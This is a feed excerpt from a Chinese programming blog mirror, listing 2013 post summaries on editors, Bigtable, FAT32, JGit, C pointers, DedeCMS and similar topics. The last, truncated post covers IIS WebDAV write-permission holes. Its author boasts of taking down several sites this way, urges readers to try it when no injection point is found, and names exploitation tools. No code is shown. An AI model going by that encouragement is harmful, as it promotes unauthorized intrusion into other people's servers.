      <guid>https://bchobby.github.io/posts/4a6cd8066c7c43efa3011353aa120ef0/</guid>
      <description>最近老师讲了在线编辑器的使用，在这里简单介绍一下kindeditor 软件介绍 KindEditor是一套开源的HTML可视化编辑器，主要用于让用户在网站上获得所见即所得编辑效果，兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。KindEditor使用JavaScript编写，可以无缝的于Java、.NET、PHP、ASP等程序接合。 KindEditor非常适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用，2006年7月首次发布2.0以来，KindEditor依靠出色的用户体验和领先的技术不断扩大编辑器市场占有率，目前在国内已经成为最受欢迎的编辑器之一。&#xA;主要特点 1. 体积小，加载速度快，但功能十分丰富。2. 内置自定义range，完美地支持span标记。 3. 基于插件的方式设计，所有功能都是插件，增加自定义和扩展功能非常简单。 4. 修改编辑器风格很容易，只需修改一个CSS文件。 5. 支持大部分主流浏览器，比如IE、Firefox、Safari、Chrome、Opera。 使用说明 简单使用方法 1. 下载KindEditor。下载地址在上边 2. 解压文件，并把所有文件上传到您的网站程序目录下，例如：http://你的域名/editor/。 3. 要添加编辑器的页面头部添加以下代码，id为textarea控件的ID。 ----------------------------------------------------------------------- &amp;lt;script type=&#34;text/javascript&#34; charset=&#34;utf-8&#34; src=&#34;https://bchobby.github.io/editor/kindeditor.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; KE.show({ id : &#39;content_1&#39; }); &amp;lt;/script&amp;gt; ----------------------------------------------------------------------- 4. 要显示编辑器的位置添加TEXTAREA输入框。 &amp;lt;textarea id=&#34;content_1&#34; name=&#34;content&#34; style=&#34;width:700px;height:300px;visibility:hidden;&#34;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;!-- 注意: 如果原来有TEXTAREA，属性里只加id,width,height即可。 版本更新 Ver 4.1.6 (2013-03-24)： 新增: 韩国语语言包，感谢Github用户composite贡献。 新增: allowImageRemote初始化参数，可隐藏网络图片标签。 改善: 插入程序代码添加是否为空的判断。 Bugfix: [IE9] 在frame里调用编辑器，关闭批量上传dialog时浏览器会崩溃。 Bugfix: 插入图片后输入文字，文字加粗后取消加粗，图片会被删除。 Bugfix: [IE] 工具栏被图片选中标记覆盖时有时候无法操作，比如居中对齐后再左对齐。 Bugfix: 全屏ESC快捷键默认未开启，但图标提示还包含ESC。 Bugfix: 图片上传后的url包含&amp;amp;时会被转换成&amp;amp;amp;。 Bugfix: [IE] 移除编辑器后点击页面出现没有权限错误。 Bugfix: [IE] 输入几个文字，调用editor.</description>
    </item>
    <item>
      <title>创建可扩展性系统-8-2</title>
      <link>https://bchobby.github.io/posts/33e55821b6c157574601c54f3d0ee22d/</link>
      <pubDate>Sat, 06 Apr 2013 13:28:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33e55821b6c157574601c54f3d0ee22d/</guid>
      <description>谷歌的Bigtable&#xA;Bigtable是管理结构化数据的分布式存储系统。 BigTable的设计宗旨是让系统可靠地扩展到PB级的数据和数千台机器；其设计理念是：广泛的适用性，可扩展性，高性能和高可用性。谷歌很多重要的产品使用 BigTable ，其中包括谷歌财经，和谷歌地球。&#xA;BigTable是一个“稀疏的，分布式的，持久的多维排序图”。索引关键词包括行关键词，列关键词，和一个时间戳； 对应的每个值是一个字节数组：&#xA;（行字符串，列字符串，时间：INT64） - &amp;gt;字符串&#xA;数据模型优化后用于存储网页和类似文件的多个版本，主要便于对于列(而不是行）的快速读取。在一个表中的行关键字是任意字符串（目前高达64KB的大小），客户程序通常会在把各种结构化或者半结构化的数据串行化到这些字符串里。对行关键字的每次读取或写入是一个原子操作。&#xA;Bigtable的数据按照行关键字的字典顺序排序。表中的每个行都可以动态分区 ；每一个分区被称为小表格（Tablet)，这是计算分布和负载平衡的单元。小表格使用的未公开的算法BMDiff的Zippy进行压缩。这些算法虽然不具有高的压缩比（LZW），但有很好的计算效率。&#xA;BigTable是建立在谷歌文件系统（GFS)之上，底层的文件格式是SSTable。 SSTables的一个重要特点是使每次数据访问最多只需要单个磁盘访问。一个SSTable一旦被创建，是永远不会改变的。添加新的数据会创建一个新的SSTable， 而不改变已有的SSTable。不再需要的SSTable可以被垃圾收集程序收集。 SSTable的不变性是BigTable的数据检查和恢复程序的基础。&#xA;Chubby是分布式锁管理的服务器， 支持拥有数千的集群节点的Big​​table保持协调。Chubby本身就是一个集群的应用程序，维持着非常低量的锁管理通讯。Chubby控制服务器的生命周期，存储访问控制列表，数据架构和BigTable的数据的引导位置。&#xA;主服务器管理工作服务器及其负载平衡，检测的工作服务器的变化（损失或增加），以及对保存在GFS上的文件进行垃圾收集 和其他一些杂务。和很多Single-Master类型的分布式存储系统类似 ，客户端的数据不通过主服务器。事实上，大多数客户端永远不会与主站进行通信，这有助于在实践中保持主服务器较轻的负载。&#xA;每片服务器通常管理10至1000小表格（Tablet)。平均每个小表格约100-200 MB。每一个的BigTable的表通常由多个小表格组成。每个小表格中包含了某个范围内的行的所有相关数据 。新创建的表包含一个小表格。小表格增长后动态分解成多个小表格。这允许系统自动的支持横向扩展。此外，Bigtable中三个层次的命名方案和类似B+树的存储结构也支持实现系统的可扩展性。&#xA;分布式计算中的查询，如过滤，聚合，统计数据收集都是使用Sawzall语言。谷歌公开BigTable论文后，对NoSQL发展产生重要影响。突出的是Apache的HBase和Hypertable。 总结:&#xA;NoSQL为我们提供了传统RDBMS以外的不同的数据存储方案。系统需要处理的数据量，数据的事务特性，数据的使用方式（读写操作的比例），数据之间的关联性，包括开发和维护成本，都影响到存储方式的选择。&#xA;附： Merkle Tree&#xA;Merkle Tree, 经常直接称为 Hash Tree，是一个Ralph Merkle在1979年发明，用于有效的处理大量Lamport一次性签名。后来主要被用于验证数据的完整性。&#xA;【图片出自http://en.wikipedia.org/wiki/Hash_tree 】&#xA;Merkle树是关于哈希的树形结构，叶子节点是文件等数据的哈希值，而非叶节点是子节点的哈希值。比如上图中 hash 0 = hash( hash 0-0 || hash 0-1 ) 。&#xA;在P2P的数据传输中，Merkle 树的任何分支可以独立传输，而数据的完整性可以用分支树的根节点的哈希值直接验证。&#xA;Dynamo使用Merkle树来减少同步机制中的网络传输开销。Dynamo首先比对Merkle树根节点的哈希值，如果一致则表示两者完全一致，否则分别比较子节点, 直到定位到有差异的数据块. 这种同步方式的时间复杂度为O（lgn）， 避免了可能出现的线性时间比较 ， 同时每次只要传输比较哈希值，而不是数据本身，在分布式中有着节省网络传输量的优点. 附: 开源代码：JGroup&#xA;Dynamo 使用一种相互交谈（gossip)的机制监测服务器成员的增减变化。作者在公司内部的一个项目中使用JGroup同步Memcached文件，达到了相似的效果。&#xA;JGroup是当前被广泛使用的可靠组间通信的工具之一，例如OSCache以及JBoss的TreeCache。JGroups可以用来创建一个组，在一个组中的所有主机使用一个相同的组播地址 ，这个组中的成员可以给其他成员发送并接受消息；组中的成员关系是动态的，成员可以随时加入或者离开组 。JGroup最大的特点就是支持协议栈的可配置性 。&#xA;JGroups的主要功能如下：&#xA;1）创建和删除组，组成员可以分布在局域网或广域网中。 2）组的加入和离开 3）成员关系的自动侦测并通知成员的加入，离开和故障 4）监测并删除故障 的成员 5）发送和接收成员到组的消息（点到多点） 6）发送和接收成员到成员的消息（点到点） 转载于:https://blog.</description>
    </item>
    <item>
      <title>FAT32文件系统--For TF卡</title>
      <link>https://bchobby.github.io/posts/0deeeb6048248e07a15ffb92f595446e/</link>
      <pubDate>Wed, 27 Mar 2013 10:12:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0deeeb6048248e07a15ffb92f595446e/</guid>
      <description>1. TF卡空间是如何分配的? 下面以4GB TF卡为例，通过WinHex工具进行分析，其空间分配如下图所示：&#xA;FAT32把目录当做文件来管理，所以没有独立的目录区，所有的文件目录项都是在数据区里面的。&#xA;2. 启动扇区 (DBR) DBR（DOS BOOT RECORD，DOS引导记录），位于柱面0，磁头1，扇区1，即逻辑扇区0 ;&#xA;DBR包括：&#xA;• 一个引导程序: DOS 引导程序完成DOS系统文件（IO.SYS，MSDOS.SYS）的定位与装载&#xA;• 一个BPB: BPB用来描述本DOS分区的磁盘信息，比如：本分区的起始扇区、 结束扇区等等&#xA;注意：搜索DBR的标志：&#xA;• FAT16的DBR:EB 3C 90，无备份的DBR&#xA;• FAT32的DBR:EB 58 90，有备份的DBR，通常在该分区的第6扇区&#xA;• NTFS的DBR: EB 52 90，有备份的DBR，通常在该分区的最后一个扇区&#xA;2.1 DBR组成 偏移量 长度/字节 组成部分 00H 3 跳转指令 03H 8 操作系统厂商标识及版本号 08H 80 分区参数表(又称BPB),里面存放着对该 分区进行读写操作时所必备的参数 5AH 420 DOS引导代码,它负责把DOS引导文件 IO.SYS、MSDOS.SYS装入内存 FEH 2 结束标志字 ” 55AA ” 2.2 BPB(BIOS Parameter Block)的组成 3. FAT(File Allocation Table)文件分区表 • 簇(Cluster)</description>
    </item>
    <item>
      <title>win7用户目录多了一个Administrator.xxx</title>
      <link>https://bchobby.github.io/posts/0536e9b0fed2409092619b29d469a822/</link>
      <pubDate>Tue, 26 Mar 2013 22:18:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0536e9b0fed2409092619b29d469a822/</guid>
      <description>Ghost安装64位的win7后，发现c:/users有两个目录，一个是Administrator, 一个Administrator.UCRWXDW7RTD。不管它先，但是启动命令行发现使用的目录是：C:\Users\Administrator.UCRWXDW7RTD, 这个目录才是真正的工作目录，而且该目录无法重命名删除操作，看着十分不爽，得想办法改成Administrator目录。&#xA;解决方法：&#xA;删除Administrator目录，复制Administrator.UCRWXDW7RTD后重命名为Administrator。打开注册表编辑器，编辑键值让其指向Administrator目录：&#xA;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList]&#xA;修改ProfileImagePath： C:\Users\Administrator&#xA;重启计算机，发现其不认我们的Administrator目录，竟然在当前建立Temp目录，注册表也自动指向了Temp目录。也就是说原Administrator.xxx目录有些文件无法拷贝过来，导致系统无法识别。F8启动安全模式后，强制性命名Administrator.xx成Administrator目录，重新修改ProfileImagePath。 重启一切OK</description>
    </item>
    <item>
      <title>jgit版本信息</title>
      <link>https://bchobby.github.io/posts/706e1cf8089e7741467e451f184732c6/</link>
      <pubDate>Tue, 26 Mar 2013 17:03:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/706e1cf8089e7741467e451f184732c6/</guid>
      <description>//历史记录&#xA;package example; import java.io.File; import java.io.IOException; import org.eclipse.jgit.api.Git; import org.eclipse.jgit.api.errors.GitAPIException; import org.eclipse.jgit.api.errors.NoHeadException; import org.eclipse.jgit.revwalk.RevCommit; public class JgitGetVersion { static Git git; public static void main(String[] args) { getHistoryInfo(); } //历史记录 public static void getHistoryInfo() { File gitDir = new File(&#34;D:/cfrManage/ConfigFile/.git&#34;); try { if (git == null) { git = Git.open(gitDir); } Iterable&amp;lt;RevCommit&amp;gt; gitlog= git.log().call(); for (RevCommit revCommit : gitlog) { String version=revCommit.getName();//版本号 revCommit.getAuthorIdent().getName(); revCommit.getAuthorIdent().getEmailAddress(); revCommit.getAuthorIdent().getWhen();//时间 System.out.println(version); } }catch (NoHeadException e) { e.</description>
    </item>
    <item>
      <title>C&#43;&#43;中的good函数</title>
      <link>https://bchobby.github.io/posts/40afb91d7a6f4783d97e160c783ea620/</link>
      <pubDate>Fri, 22 Mar 2013 22:26:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40afb91d7a6f4783d97e160c783ea620/</guid>
      <description>在stream流类型中，有一个成员函数good().用来判断当前流的状态（读写正常（即符合读取和写入的类型)，没有文件末尾）&#xA;对于类 读写文件 fstream ifstream ofstream 以及读写字符串流stringstream istringstream ostringstream等类型。都用good()成员函数来判断当前流是否正常。&#xA;转载于:https://blog.51cto.com/lihaichuan/1160603</description>
    </item>
    <item>
      <title>关于进程间通信的学习心得</title>
      <link>https://bchobby.github.io/posts/a46894de7793d05696c08382ba7d0e35/</link>
      <pubDate>Tue, 19 Mar 2013 13:50:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a46894de7793d05696c08382ba7d0e35/</guid>
      <description>进程：进程是指独立地址空间的指令序列&#xA;进程的五种状态：新建，就绪，运行，睡眠，僵死&#xA;进程间通信：是不同进程之间进行一些&#34;接触&#34;，这种接触有简单，有复杂。机制不同，复杂度也不同。通信是一个广义上的意义，不仅指大批量数据传送，还包括控制信息的传送，但使用方法是基本相同的。&#xA;基本的进程通信机制&#xA;1.传统UNIX-IPC机制：信号和管道&#xA;2.SystemV的IPC机制：共享内存、信号量和消息队列&#xA;3.起源于Unix BSD版本的套结字（Socket）&#xA;4.远程过程调用（RPC）&#xA;信号：Unix系统中使用的最古老的进程间通讯的方法之一，用于向一个或多个进程发送异步事件的信号。信号可以类比于DOS下的INT或者是Windows下的事件。在有一个信号发生的时候，相应的信号就会发送给相应的进程。&#xA;信号机制的实现&#xA;1.信号包括待处理信号和被阻塞信号&#xA;2.如果产生了一个被阻塞的信号，它一直保留待处理，直到被解除阻塞。&#xA;3.系统保存每一个进程如何处理每一种可能的信号的信息。&#xA;4.系统判断进程是希望忽略这个信号还是让内核处理。进程通过执行系统调用改变缺省的信号处理。&#xA;对信号的处理&#xA;1.初始化信号集，只有在信号集里面的信号才会被考虑&#xA;2.安装信号处理器。所谓信号处理器，就是指定了一些对信号的处理方法。在安装的时候，一定要对特定的信号赋予正确的信号处理函数。&#xA;信号相关函数&#xA;int sigaction(int signo, const struct sigaction *act, struct sigaction *oact)；为进程安装信号处理器，struct sigaction数据结构是用来保存信号处理器的相关信息。&#xA;int sigemptyset(sigset_t *set)；将信号集合清空。&#xA;int sigfillset(sigset_t *set)；将信号集合设置成包含所有的信号，在对信号进行操作以前一定要对信号集进行初始化。&#xA;int sigaddset(sigset_t *set, int signo)；向信号集中加入signo对应的新信号。&#xA;int sigdelset(sigset_t *set, int signo)；从信号集中删除signo对应的一个信号。&#xA;int sigismember(const sigset_t *set, int signo)；判断某个信号是否在信号集中。&#xA;int sigprocmask(int how,const sigset_t *set, sigset_t *oset)；设置进程的信号屏蔽码。信号屏蔽码可以用来在某段时间内阻塞一些信号集中的信号。&#xA;管道通信：是最古老的Unix IPC工具，一个进程从管道一头写数据，另一个进程从管道另一头读数据，以实现它们之间通信的共享方式，又称pipe文件。由于发送和接收都是利用管道进行通信的，故称为管道通信。通信方式是单向的。管道类型分为：无名管道、命名管道&#xA;管道通信的思想&#xA;1.发送进程可以源源不断的从pipe一端写入数据流，在规定的pipe文件的最大长度（如4096字节）范围内，每次写入的信息长度是可变的。&#xA;2.接收进程在需要时可以从pipe的另一端读出数据，读出单位长度也是可变的。&#xA;基本管道调用函数&#xA;int do_pipe(int *fd)；创建管道&#xA;static int pipe_release(struct inode *inode, int decr, int decw)；管道释放</description>
    </item>
    <item>
      <title>hadoop搭建教程之五（Pig安装）</title>
      <link>https://bchobby.github.io/posts/cc95f3347a78b40bcabd8623fd34a2c7/</link>
      <pubDate>Sat, 16 Mar 2013 08:57:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc95f3347a78b40bcabd8623fd34a2c7/</guid>
      <description>1、解压与安装&#xA;解压pig-0.10.0.tar.gz到/opt/目录下：&#xA;tar -zxvf pig-0.10.0.tar.gz -C /opt/&#xD;mv /opt/pig-0.10.0 /opt/pig&#xD;chown -R hadoop:hadoop /opt/pig&#xD;su hadoop&#xD;2、配置/opt/pig/bin/pig文件&#xA;打开pig文件&#xA;# # The Pig command script&#xA;#&#xA;# Environment Variables&#xA;#&#xA;# JAVA_HOME The java implementation to use. Overrides JAVA_HOME.&#xA;#&#xA;# PIG_CLASSPATH Extra Java CLASSPATH entries.&#xA;#&#xA;# HADOOP_HOME/HADOOP_PREFIX Environment HADOOP_HOME/HADOOP_PREFIX(0.20.205)&#xA;#&#xA;# HADOOP_CONF_DIR Hadoop conf dir&#xA;#&#xA;# PIG_HEAPSIZE The maximum amount of heap to use, in MB. # Default is 1000.</description>
    </item>
    <item>
      <title>曲线救国的就业路线是否合理？</title>
      <link>https://bchobby.github.io/posts/57a7e1f715a6d4ded25132eda6d434d2/</link>
      <pubDate>Sat, 16 Mar 2013 07:17:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57a7e1f715a6d4ded25132eda6d434d2/</guid>
      <description>原帖：http://www.cnblogs.com/begtostudy/archive/2013/03/16/2962454.html&#xA;首先大概说一下我的问题。本人博士毕业，很多人说博士应该去做研究，但是种种原因没有办法找到满意的研发职位。谁都想直达目的，但是有时候就是这样难以实现。&#xA;所以我就想了一个曲线救国实现理想的办法，不知道是否合理，请各位前辈指正。&#xA;下面我做具体的说明。记录我现在的想法，也为以后自己困惑的时候，拿出来看看，让自己不要在庐山中迷失方向。&#xA;本人某上海高校博士毕业，应届，32岁。外地人。&#xA;女朋友上海某合资车厂工作，待遇不错。&#xA;专业机械设计，方向是数字化智能设计，主要从事设计自动化（基于CAD软件的二次开发）、设计优化（针对产品设计、加工的优化）。&#xA;由于目前国内的技术水平较为落后，许多企业以劳动力成本低廉运作代工模式，不需要搞什么二次开发以提高效率，更不需要什么优化改进性能。许多企业即不懂，也没有这方面的需求。说到底，我的研究也是一种技术服务性工作。&#xA;而且许多核心技术掌握在外企手里，比如许多CAD软件都是外资公司开发。由于这些公司都是成熟的产品，因此进去之后工作内容也多是维护软件，软件的核心功能全部掌握在外国人手里，工作性质还是低端。最重要的是我一直找不到机会进去，个别机会的薪资待遇又不好，在上海生计压力大。&#xA;处于上述困境，偶然间我了解到产品数字化管理行业。其主要是利用成熟的数据管理软件，对企业现有设计流程进行信息化改造，使得企业设计规范化。某甲方有这样的职位，我就申请了。&#xA;但是，这是个非常成熟的行业。我找了好多同行业的前辈，他们都认为这个行业，主要是类似于销售的性质，跟客户沟通为主，主要还是实施为主，不需要研发类技术攻关，因此博士去有点浪费。&#xA;我相信前辈的劝说是有道理的。这个行业发展很多年了，基础工具也相当的成熟，比如SAP、Teamcneter、Windchill等等，企业也相当熟悉，因此推广起来容易，项目多。&#xA;由于该信息系统也需要与企业设计部门打交道，更容易获得企业的更为细节的需求，加上都是与CAD软件打交道，我觉得将来可以推广我的所学：设计自动化，设计优化。&#xA;这也许可能成为近水楼台先得月。&#xA;如果我直接跟他们说，我可以解决设计问题，别人根本就不信，因为我不懂需求，谁会相信一个陌生人呢。但如果我先懂了需求，再跟他们说，我能解决，还能讲通方案，比如做出辅助设计工具，或者帮助他们优化产品设计，我觉得我推广我原来本行的机会将大大增加。&#xA;这样，我既可以做信息系统设计，同时我还有得天独厚的优势：解决企业设计当中的细节难题；既可以方便找到工作，拿到合适的薪水，又能够做我喜欢和擅长的设计当中技术问题攻关。&#xA;这就是我目前构思的曲线救国就业想法。</description>
    </item>
    <item>
      <title>有没有技术管理岗的朋友？</title>
      <link>https://bchobby.github.io/posts/2be8cd929e07260a9dc3d13539eef375/</link>
      <pubDate>Thu, 14 Mar 2013 17:36:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2be8cd929e07260a9dc3d13539eef375/</guid>
      <description>刚上基层技术管理岗，以前在乙方做技术，现在要带人管理，想找些前辈交流。&#xA;有技术管理岗的朋友吗？求留言，我加您。。。。</description>
    </item>
    <item>
      <title>C语言指针作为形参的一些问题</title>
      <link>https://bchobby.github.io/posts/1bc16496ade39864778580d9afa3530b/</link>
      <pubDate>Wed, 13 Mar 2013 15:23:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bc16496ade39864778580d9afa3530b/</guid>
      <description>C语言中指针是个非常麻烦的事件，本人大学学了几年指针，用起来还是丈二和尚，摸不着头脑，特别是在函数中作为参数传递，申请空间什么的，一头雾水，看到这篇文件写的还比较详尽，因此转载存档！！！！！！！！！&#xA;程序1： void myMalloc(char *s) //我想在函数中分配内存,再返回 { s=(char *) malloc(100); } void main() { char *p=NULL; myMalloc(p); //这里的p实际还是NULL,p的值没有改变，为什么？ if(p) free(p); } 程序2：void myMalloc(char **s) { *s=(char *) malloc(100); } void main() { char *p=NULL; myMalloc(&amp;amp;p); //这里的p可以得到正确的值了 if(p) free(p); } 程序3： #include&amp;lt;stdio.h&amp;gt; void fun(int *p) { int b=100; p=&amp;amp;b; } main() { int a=10; int *q; q=&amp;amp;a; printf(&#34;%d/n&#34;,*q); fun(q); printf(&#34;%d/n&#34;,*q); return 0; } 结果为 10 10 程序4： #include&amp;lt;stdio.h&amp;gt; void fun(int *p) { *p=100; } main() { int a=10; int *q; q=&amp;amp;a; printf(&#34;</description>
    </item>
    <item>
      <title>关于dedecms织梦后台的三个问题的解决方法</title>
      <link>https://bchobby.github.io/posts/0aa2cf87b9db9e5d3283c6fc9afe5a0a/</link>
      <pubDate>Wed, 13 Mar 2013 12:31:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0aa2cf87b9db9e5d3283c6fc9afe5a0a/</guid>
      <description>一 织梦DEDECMS网站后台广告管理无法添加广告 添加不显示解决方法 昨天给一个DEDECMS升级程序，数据库和模板保留，升级最新的DEDE内核。升级后更新文章的时候不出现编辑框。应该是编辑器没有调用。 找到解决方法：系统-核心设置 -Html编辑器选项(仅支持 dede 和 fck)填写成：ckeditor 问题解决。 二 DEDECMS织梦后台添加文章不出现编辑框解决方法 织梦DEDECMS网站后台广告管理无法添加广告 最近发现在使用织梦dedecms v5.7版本的时候，在后台模块广告管理里面，添加广告提示添加成功，但是在前台中却不显示。查看了数据库发现其实并没有添加成功。在本地可以看到程序有Error代码，具体如下： Error page: /dede/ad_main.php Error infos: Unknown column &#39;ad.clsid&#39; in &#39;on clause&#39; Error sql: SELECT COUNT(*) AS dd FROM `dede_myad` ad LEFT JOIN `dede_arctype` tp on tp.id=ad.typeid LEFT JOIN `dede_myadtype` ap on ap.id=ad.clsid WHERE 1=1 LIMIT 0,1; 解决的办法还是官方提供的： 登入dedecms网站的后台，点击系统设置 -&amp;gt; SQL命令行工具 -&amp;gt; 执行SQL命令 -&amp;gt; 单行命令(支持简单查询)，在文本框输入以下SQL语句： ALTER TABLE `dede_myad` ADD COLUMN `clsid` int(10) NOT NULL DEFAULT 0 AFTER `aid`; 然后点击“确定”，就可以了。 试试吧!</description>
    </item>
    <item>
      <title>Jgit 获取单个文件历史记录</title>
      <link>https://bchobby.github.io/posts/623a7d8b550965c7176e6f5f94f27576/</link>
      <pubDate>Mon, 11 Mar 2013 16:47:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/623a7d8b550965c7176e6f5f94f27576/</guid>
      <description> git.log().addpath().call 单个文件历史记录 </description>
    </item>
    <item>
      <title>python判断一个进程是否正在运行</title>
      <link>https://bchobby.github.io/posts/a0f37dd8b30e7dd3997f29f29001a628/</link>
      <pubDate>Fri, 08 Mar 2013 08:16:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0f37dd8b30e7dd3997f29f29001a628/</guid>
      <description> import os,sys&#xA;import win32com&#xA;def proc_exist(process_name):&#xA;is_exist = False&#xA;wmi = win32com.client.GetObject(&#39;winmgmts:&#39;)&#xA;processCodeCov = wmi.ExecQuery(&#39;select * from Win32_Process where name=\&#34;%s\&#34;&#39; %(process_name))&#xA;if len(processCodeCov) &amp;gt; 0:&#xA;is_exist = True&#xA;return is_exist </description>
    </item>
    <item>
      <title>“java.io.IOException: error=12, 无法分配内存”解决办法</title>
      <link>https://bchobby.github.io/posts/b6390573b54f52922ef34a12062105af/</link>
      <pubDate>Thu, 07 Mar 2013 18:00:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6390573b54f52922ef34a12062105af/</guid>
      <description>昨天在做图片压缩测试的时候，发现了这样的一个异常“2013-03-07 17:15:20,723 [//10.14.27.30/1362378799715.0 - /testGraphicMagic.htm] ERROR home.TestGraphicMagicController - org.im4java.core.CommandException: java.io.IOException: Cannot run program &#34;gm&#34;: java.io.IOException: error=12, 无法分配内存”，后来在网上查询资料，发现可能是跟swap(虚拟内存)有关，然后执行top指令，发现swap的总大小为0，后让asa重新设置其大小解决此问题。</description>
    </item>
    <item>
      <title>trac用户管理和身份验证</title>
      <link>https://bchobby.github.io/posts/85cb5b99f81e76b18126cf9610501f26/</link>
      <pubDate>Tue, 05 Mar 2013 18:09:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85cb5b99f81e76b18126cf9610501f26/</guid>
      <description>前面文章介绍了怎么安装trac，但是新安装的trac虽然可以在浏览器访问到，login按钮点击后，会提示： Authentication information not available. Please refer to the installation documentation. 无法登录。 下面介绍如何为项目设置用户、分配密码和权限。 1. 创建用户，分配权限 首先启动trac项目： $ tracd --port 8000 /var/www/trac/svn/AJS 用trac-admin命令 先看一下命令说明： [root@localhost ~] trac-admintrac-admin - Trac管理控制台 0.12.3&#xA;用法: trac-admin &amp;lt;/path/to/projenv&amp;gt; [command [subcommand] [option ...]]&#xA;不带命令调用trac-admin将启动交互模式。&#xA;help Show documentationinitenv Create and initialize a new environment 先进入交互模式： [root@localhost ~] trac-admin /var/www/trac/svn/AJS&#xA;Welcome to trac-admin 0.12.3Interactive Trac administration console.Copyright (C) 2003-2012 Edgewall Software&#xA;Type: &#39;?&#39; or &#39;help&#39; for help on commands.</description>
    </item>
    <item>
      <title>Mcrypt响应慢的一个原因</title>
      <link>https://bchobby.github.io/posts/0932c926821a04240e400b9c103f8e9a/</link>
      <pubDate>Mon, 25 Feb 2013 16:42:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0932c926821a04240e400b9c103f8e9a/</guid>
      <description>转自：http://www.laruence.com/2012/09/24/2810.html&#xA;上午的时候, 有同事来找我说上周新上线的一个使用mcrypt的脚本, 响应非常慢, 但是服务器的各项指标都正常, 不知道是什么原因.&#xA;经过了解, 一个简单的可重现的脚本如下:&#xA;&amp;lt;?php$dmcryptText = &#34;dummy&#34;;$key = &#34;foobar&#34;;$size = mcrypt_get_iv_size(MCRYPT_BLOWFISH,MCRYPT_MODE_ECB); $iv = mcrypt_create_iv($size); //注意这里 $m = mcrypt_ecb(MCRYPT_BLOWFISH, $key, $dmcryptText, MCRYPT_DECRYPT, $iv);var_dump($m); 当20个并发请求这个脚本的时候, 我们会发现Apache的响应时间急剧上升…&#xA;考虑到这个问题可能具有一定的普遍性, 于是我想我还是写一篇文章来介绍下这个坑, 防止后来人再次踩到.&#xA;PHP的Mcrypt扩展的mcrypt_create_iv, 如果你不指定的话, 默认使用/dev/random(Linux上), 作为随机数产生器. (也许有的同学已经知道原因了, 呵呵, 那就可以略过了)&#xA;这里的问题就在于/dev/random, 它的random pool依赖于系统的中断来产生. 当系统的中断数不足, 不够产生足够的随机数, 那么尝试读取的进程就会等待, 也就是会hang住, 来看一个简单的例子:&#xA;$ dd if=/dev/random bs=1024k count=1 当你的机器不够繁忙的时候, 你会发现, 输出的速度很慢, 偶尔还有停顿…&#xA;问题就出在了这里, 当你20个并发请求的时候, 服务器的中断数不够, 产生不了足够的随机数给mcrypt, 继而导致PHP进程等待, 从而表现出, 响应时间变长&#xA;解决的办法就是, 改用/dev/urandom, /dev/urandom也是一个产生随机数的设备, 但是它不依赖于系统中断.&#xA;&amp;lt;?php$dmcryptText = &#34;dummy&#34;;$key = &#34;</description>
    </item>
    <item>
      <title>php yii 小计：获取module controller action id</title>
      <link>https://bchobby.github.io/posts/e02f351f670d5be4c6d7dc4e7a718e4b/</link>
      <pubDate>Mon, 25 Feb 2013 16:41:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e02f351f670d5be4c6d7dc4e7a718e4b/</guid>
      <description>在控制器里&#xA;$name = $this-&amp;gt;getModule()-&amp;gt;id; // module&#xA;$name = $this-&amp;gt;getId(); // controller&#xA;$name = $this-&amp;gt;getAction()-&amp;gt;id; // action&#xA;在视图里，除了上述2个方法还可：&#xA;$name = $this-&amp;gt;module-&amp;gt;id; // module&#xA;$name = Yii::app()-&amp;gt;controller-&amp;gt;id; // controller&#xA;$name = $this-&amp;gt;getAction()-&amp;gt;getId(); // action</description>
    </item>
    <item>
      <title>简析IIS写权限</title>
      <link>https://bchobby.github.io/posts/f85926711d8306c7d1fd75b1b0acd427/</link>
      <pubDate>Mon, 18 Feb 2013 14:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f85926711d8306c7d1fd75b1b0acd427/</guid>
      <description> 最近在搞网站，不小心把几个站给搞垮了，具体就不说了，过程也无非是扫描，我用的方法是IIS写权限 跟平常的注入也不一样，大家如果没有找到注入点的话，可以试试IIS写权限， 下面的文章是网上转载来的，大家了解一下过程 //上个月给黑手投去了，人家既然没有发表，我就发出来吧，毕竟文章的原创内容太少，技术含量也没有多高。 最近对IIS的一些安全设置做了下总结，在查找配置写权限漏洞得时候，网上介绍的资料不多，现在就只有自己动手配置了。配置写权限漏洞的时候又对写权限有了一些新的认识。网上对写权限得介绍一般都为，由于服务器得配置不当，用户可以匿名上传一些文件或者是代码。常用的利用工具有zwell的IIS put scanner和老兵的写权限利用工具，本文就不再对利用方法进行介绍了，介绍得文章或者是动画已经很烂了。 写权限漏洞主要跟IIS的webdav服务扩展还有网站的一些权限设置有关系。下面我们先看下webdav的一些官方介绍 允许客户发布、锁定和管理 Web 上的资源，它允许客户端执行以下操作： * 处理资源，处理服务器上 WebDAV 发布目录中的资源。例如，具有正确权限的用户可以在 WebDAV 目录中复制和移动文件。 * 修改属性，修改与某些资源相关联的属性。例如，用户可写入并检索文件的属性信息。 * 锁定资源和解除资源锁定，以便多个用户可以同时读取一个文件。不过，每次只有一个用户能修改该文件。 * 搜索位于 WebDAV 目录中的文件的内容和属性。 WebDAV的全称是（Web-based Distributed Authoring and 